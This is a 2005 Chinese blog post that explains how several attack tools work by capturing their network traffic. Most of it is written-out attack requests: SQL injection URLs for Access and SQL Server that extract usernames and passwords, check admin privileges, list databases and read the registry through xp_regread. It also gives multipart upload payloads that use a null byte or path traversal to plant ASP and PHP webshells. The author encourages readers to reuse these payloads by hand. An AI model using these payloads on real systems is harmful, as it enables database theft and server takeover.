All about security

scripts.girl

导航

(原创)特殊方法学习黑客工具

Posted on 2005-05-12 01:12  isno's world  阅读(874)  评论(0)    收藏  举报

特殊方法学习黑客工具

By  ivory(于厦门集美大学)

   不知道别人怎么看,笔者感觉,中国人写软件很少有“开放源代码”精神。也不知道是因为怕代码写的差,拿出来丢人,还是商业目的。不管怎样,他们都已经违背了“黑客”的共享精神。好!他们不开放是他们的问题,我们也没办法,不过对于一些软件,我们还是大概能学习它是怎么运作的。不相信?这里拿出法宝“WSockExpert”。朋友们肯定会惊讶,这不是平时抓包用的吗?对,说明文挡对它正确的解释是:“这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据”。试想,如果抓到了软件对外发送和接受回来的数据包,我们不就清楚的知道程序将怎么运作的吗?抱着这种思路,开始我们的学习之旅吧。

   使用方法就是运行WsockExpert和需要监视的网络应用程序,然后使用"Open Process"按钮,选择正确的程序打开,这时候会创建一个子窗口,使用同样的方法您可以同时监视多个进程。然后进入主进程。

1NBSI2 For ACCESS

   首先看看NBSI2是如何注入ACCESS的。我们让它随便注入个地址,然后用WsockExpert来抓数据包。只要点NBSI2的“检测”,WsockExpert就会有反应了,这种感觉很好,好象《黑客帝国》中滚动的数据一样。这是我截获的数据:(如图一)

图一

如此这般,每一个步骤都在我们的掌握之中了。比如NBSI的探测表名的过程就是这样:

GET /admin/news_view.asp?id=2%20And%20(Select%20Count(1)%20from%20[N])>=0 HTTP/1.1(其中N就是表名)等等,具体的数据如图二

图二

最后应该是判断一个回传的包,如果符合条件,则表名正确。

同样的道理,再看可爱的NBSI2是如何猜测字段的:

如果表名user正确

GET /admin/news_view.asp?id=2%20And%20(Select%20Count([user].[N])%20from%20user)>=0N为字段名)

最后一步就是猜测字段的值,关键句子:

GET /admin/news_view.asp?id=2%20And%20(Select%20Top%201%20len(cstr([id])%2Bchr(124)%2Bcstr([user])%2Bchr(124)%2Bcstr([password]))%20From%20(Select%20Top%201%20[id],[user],[password]%20From%20[user]%20Where%201=1%20Order%20by%20[id],[user],[password])%20T%20Order%20by%20[id]%20desc,[user]%20desc,[password]%20desc)>N(猜测ID长度)

GET /admin/news_view.asp?id=2%20And%20(Select%20Top%201%20abs(asc(mid(cstr([id])%2Bchr(124)%2Bcstr([user])%2Bchr(124)%2Bcstr([password]),1,1)))%20From%20(Select%20Top%201%20[id],[user],[password]%20From%20[user]%20Where%201=1%20Order%20by%20[id],[user],[password])%20T%20Order%20by%20[id]%20desc,[user]%20desc,[password]%20desc)>N(这个是猜测密码的)。不知道哪个牛人说过:用工具会让人变傻的。抓到这些数据后,我们何不改造一下,用自己的方式来手工注入呢。

2 . NBSI2 For SQL

这里要讲的是对于SQL Server的探测过程。这些更有意思,仔细看。这里先做个前备知识:%20就是空格,%2B就是+%25解释为%

GET /news/showat.asp?atnbr=344&ctnbr=1%20and%20(Select%20count(1)%20from%20[sysobjects])>=0 HTTP/1.1

它检验是否支持子查询。

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20user%2Bchar(124)=0 HTTP/1.1,这样就是有名的“and user+|=0”来暴出当前用户。

GET /news/showat.asp?atnbr=344&ctnbr=1%20;declare%20@a%20int-- HTTP/1.1,判断是否支持多句查询。

然后是判断用户权限,用了两句:

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 HTTP/1.1

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 HTTP/1.1,得到的将是DB_OWNER或者是SA,如果是后者就发了

然后暴出当前库

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20db_name()%2Bchar(124)=0  HTTP/1.1 ,和暴当前用户原理是一样。

更有意思的在下面,我抓到的“猜测表名”的语句,如图三:

这样只需改动select top 1,2,3…id,name,就可以得到表名。

再看猜测字段的:

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20(Select%20Top%201%20cast(name%20as%20varchar(8000))%20from%20(Select%20Top%N%20colid,name%20From%20[uc520master]..[syscolumns]%20Where%20id%20=%20OBJECT_ID(NCHAR(117)%2BNCHAR(99)%2BNCHAR(53)%2BNCHAR(50)%2BNCHAR(48)%2BNCHAR(109)%2BNCHAR(97)%2BNCHAR(115)%2BNCHAR(116)%2BNCHAR(101)%2BNCHAR(114)%2BNCHAR(46)%2BNCHAR(46)%2BNCHAR(101)%2BNCHAR(120)%2BNCHAR(97)%2BNCHAR(109)%2BNCHAR(95)%2BNCHAR(113)%2BNCHAR(117)%2BNCHAR(101)%2BNCHAR(115)%2BNCHAR(116)%2BNCHAR(105)%2BNCHAR(111)%2BNCHAR(110)%2BNCHAR(95)%2BNCHAR(116)%2BNCHAR(101)%2BNCHAR(109)%2BNCHAR(112)%2BNCHAR(49))%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0 HTTP/1.1

使N=1 2 3…..猜测字段。不得不惊讶这样的手法。这里要说的就是函数OBJECT(‘object’),即返回数据库标识符。(注意:句子如果看起来乱,就把它分成小块来看。)

也许大家更感兴趣的是,对跨库的语句:

GET /news/showat.asp?atnbr=344&ctnbr=1%20And%20(Select%20Top%201%20cast([name]%20as%20varchar(8000))%20from(Select%20Top%N%20dbid,name%20from%20[master]..[sysdatabases]%20order%20by%20[dbid])%20T%20order%20by%20[dbid]%20desc)>0 HTTP/1.1

简单写就是:and (select top 1 cast([name] as varchar(8000)) from (select top N dbid,name from [master]..[sysdatabases order by [dbid]] T order by [dbid] desc)>0

方法就是如此。如果还有不懂的,可以参照臭要饭的!的《mssql跨库查询》。相信你学完了,基本上对Mssql Injection有个系统的了解。

  3.  UPFILE

   闹上传漏洞闹了好久了,工具挺多的。原理简单,我们在自己抓包上传木马之余,不禁想想那些工具是如何工作的。开始是用桂林老兵的upfile工具做的实验,结果仅此一句

-----------------------------7d4822f26003a

Content-Disposition: form-data; name="filepath"

 

shell.asp

而允许类型呢?可能在程序内部已经将格式转换了吧,这个不好学习,换个简单的!

最近有个什么联盟发现了个动感科技开发的一套系统漏洞,还写了个小程序用来上传的,如图四

图四

开工,抓下来了。如图五

图五

一个一个看下去,就找到要点所在了,发现了这个:

1Content-Disposition: form-data; name="filepath"

 

bookpic/newmm.asp(指定上传后在服务器中的虚拟路径)

2Content-Disposition: form-data; name="file1"; filename="D:\efiles\hacktool\Newmm.jpg"(欺骗服务端,让它误认为我们上传的是.jpg后缀。)

这样就发现,漏洞原理和DVBBS上传漏洞差不多!没什么技术含量。

我们顺便学学他们怎么上传PHP的,《小刀的上传文件利用工具综合版》对NET PIC系统的PHP上传木马的关键代码是:

-----------------------------7d42fd203025c

Content-Disposition: form-data; name="path"

 

./xiaodao.php%00

-----------------------------7d42fd203025c

Content-Disposition: form-data; name="image"; filename="c:\a.gif"

Content-Type: text/html

检测的时候还发现了小刀的这个软件的“老兵”的这个栏目,还以为是新漏洞。根据抓到的包“?up=yes”,我看了一下6.0代码,没有这样的漏洞,后来一找,才发现只是针对5.0的!狂吐ing。原来和海洋xp木马的那个漏洞也一样。这种反向思维很重要。

   4 暴网站漏洞

 下面的这个程序是用来专门暴站路径的,如图六。

图六

截获后的关键句子如下:

GET /news/showat.asp?atnbr=351&ctnbr=1;drop%20table%20WebPath_009--(这个非常有意思,如果已经有人用这个工具探测过了,也就是建了个WebPath_009表,它先将它drop掉)

GET /news/showat.asp?atnbr=351&ctnbr=1;create%20table%20WebPath_009%28Vpath%20varchar%28255%29%2CTpath%20varchar%28255%29%29-- HTTP/1.1(建个表,字段为VpathTpath

GET /news/showat.asp?atnbr=351&ctnbr=1;insert%20into%20WebPath_009%20EXEC%20master.dbo.xp_regread%200x484B45595F4C4F43414C5F4D414348494E45%2C0x53595354454D5C436F6E74726F6C5365743030315C53657276696365735C57335356435C506172616D65746572735C5669727475616C20526F6F7473%2C0x2F-- HTTP/1.1(这里正式将xp_regread读的结果放到表中)

GET /news/showat.asp?atnbr=351&ctnbr=1%20and%200=%28select%20top%201%20Tpath%20from%20WebPath_009%29-- HTTP/1.1(然后从Tpath字段中暴出路径)。

5 Discuz! 2.x论坛上传漏洞利用工具

   我们抓到后包如图七

图七

关键代码在最后部。

-----------------------------7d43e215303d2

Content-Disposition: form-data; name="attach_name"

 

/../../attachments/newmm.php.(注意这里有个点)

一看就知道了。哦,原来这里attach_name过滤不严。

最后只要提交www.target.com/bbs/attackments/newmm.asp.可以访问到我们的木马了。

后记:写到最后,才发现自己写的太多了。还有很多很多的软件是可以这样进行分析的!比如小路的getwebshell利用差异备份的过程。还有臭要饭的!的backupshell的过程等等,我就不一一分析了。不管怎么样,原理只有一点,而学习的过程是快乐的。